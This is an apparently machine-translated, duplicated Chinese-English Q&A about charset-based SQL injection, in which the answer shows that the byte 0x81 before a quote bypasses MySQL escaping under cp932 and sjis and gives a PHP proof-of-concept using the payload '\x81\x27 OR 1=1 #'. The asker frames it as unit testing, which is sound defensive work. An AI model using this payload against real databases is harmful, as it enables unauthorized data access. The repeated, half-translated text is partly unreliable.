如何使用 Shift-JIS 和 CP932 创建 SQL 注入攻击?
How to create a SQL injection attack with Shift-JIS and CP932?
我正在编写一些单元测试以确保我的代码不会受到各种字符集下 SQL 注入的攻击。
根据 this answer,您可以通过使用以下字符集之一注入 \xbf\x27
来创建漏洞:big5
、cp932
、gb2312
、 gbk
和 sjis
这是因为如果您的转义器配置不正确,它将看到 0x27
并尝试转义它,使其变为 \xbf\x5c\x27
。但是,\xbf\x5c
实际上是这些字符集中的 一个 字符,因此引号 (0x27
) 未转义。
然而,正如我通过测试发现的那样,这并不完全正确。它适用于 big5
、gb2312
和 gbk
,但 0xbf27
or 0xbf5c
在 sjis
和 cp932
中都不是有效字符。
两者都
mb_strpos("abc\xbf\x27def","'",0,'sjis')
和
mb_strpos("abc\xbf\x27def","'",0,'cp932')
Return4
。即,PHP 不会将 \xbf\x27
视为单个字符。此 returns false
用于 big5
、gb2312
和 gbk
。
另外,这个:
mb_strlen("\xbf\x5c",'sjis')
Returns 2
(它 returns 1
for gbk
)。
所以,问题是:是否有另一个字符序列使 sjis
和 cp932
易受 SQL 注入攻击,或者它们实际上 不是 脆弱吗?或者 PHP 是在说谎,我完全错了,MySQL 会对此做出完全不同的解释吗?
细节决定成败...让我们从answer in question如何描述易受攻击的字符集列表开始:
For this attack to work, we need the encoding that the server's expecting on the connection both to encode '
as in ASCII i.e. 0x27
and to have some character whose final byte is an ASCII \
i.e. 0x5c
. As it turns out, there are 5 such encodings supported in MySQL 5.6 by default: big5
, cp932
, gb2312
, gbk
and sjis
. We'll select gbk
here.
这为我们提供了一些上下文 - 0xbf5c
用作 gbk
的示例,而不是用作所有 5 个字符集的通用字符。
恰好相同的字节序列在big5
和gb2312
.
下也是有效字符
至此,你的问题就变得这么简单了:
Which byte sequence is a valid character under cp932
and sjis
and ends in 0x5c
?
公平地说,我尝试对这些字符集进行的大多数 google 搜索都没有给出任何有用的结果。但我确实找到了 this CP932.TXT file,如果你在其中搜索 '5c '
(那里有 space),你将跳转到这一行:
0x815C 0x2015 #HORIZONTAL BAR
我们有一个赢家! :)
Some Oracle document 确认 0x815c
对于 cp932
和 sjis
都是相同的字符,并且 PHP 也能识别它:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
这是攻击的 PoC 脚本:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}
我正在编写一些单元测试以确保我的代码不会受到各种字符集下 SQL 注入的攻击。
根据 this answer,您可以通过使用以下字符集之一注入 \xbf\x27
来创建漏洞:big5
、cp932
、gb2312
、 gbk
和 sjis
这是因为如果您的转义器配置不正确,它将看到 0x27
并尝试转义它,使其变为 \xbf\x5c\x27
。但是,\xbf\x5c
实际上是这些字符集中的 一个 字符,因此引号 (0x27
) 未转义。
然而,正如我通过测试发现的那样,这并不完全正确。它适用于 big5
、gb2312
和 gbk
,但 0xbf27
or 0xbf5c
在 sjis
和 cp932
中都不是有效字符。
两者都
mb_strpos("abc\xbf\x27def","'",0,'sjis')
和
mb_strpos("abc\xbf\x27def","'",0,'cp932')
Return4
。即,PHP 不会将 \xbf\x27
视为单个字符。此 returns false
用于 big5
、gb2312
和 gbk
。
另外,这个:
mb_strlen("\xbf\x5c",'sjis')
Returns 2
(它 returns 1
for gbk
)。
所以,问题是:是否有另一个字符序列使 sjis
和 cp932
易受 SQL 注入攻击,或者它们实际上 不是 脆弱吗?或者 PHP 是在说谎,我完全错了,MySQL 会对此做出完全不同的解释吗?
细节决定成败...让我们从answer in question如何描述易受攻击的字符集列表开始:
For this attack to work, we need the encoding that the server's expecting on the connection both to encode
'
as in ASCII i.e.0x27
and to have some character whose final byte is an ASCII\
i.e.0x5c
. As it turns out, there are 5 such encodings supported in MySQL 5.6 by default:big5
,cp932
,gb2312
,gbk
andsjis
. We'll selectgbk
here.
这为我们提供了一些上下文 - 0xbf5c
用作 gbk
的示例,而不是用作所有 5 个字符集的通用字符。
恰好相同的字节序列在big5
和gb2312
.
至此,你的问题就变得这么简单了:
Which byte sequence is a valid character under
cp932
andsjis
and ends in0x5c
?
公平地说,我尝试对这些字符集进行的大多数 google 搜索都没有给出任何有用的结果。但我确实找到了 this CP932.TXT file,如果你在其中搜索 '5c '
(那里有 space),你将跳转到这一行:
0x815C 0x2015 #HORIZONTAL BAR
我们有一个赢家! :)
Some Oracle document 确认 0x815c
对于 cp932
和 sjis
都是相同的字符,并且 PHP 也能识别它:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
这是攻击的 PoC 脚本:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}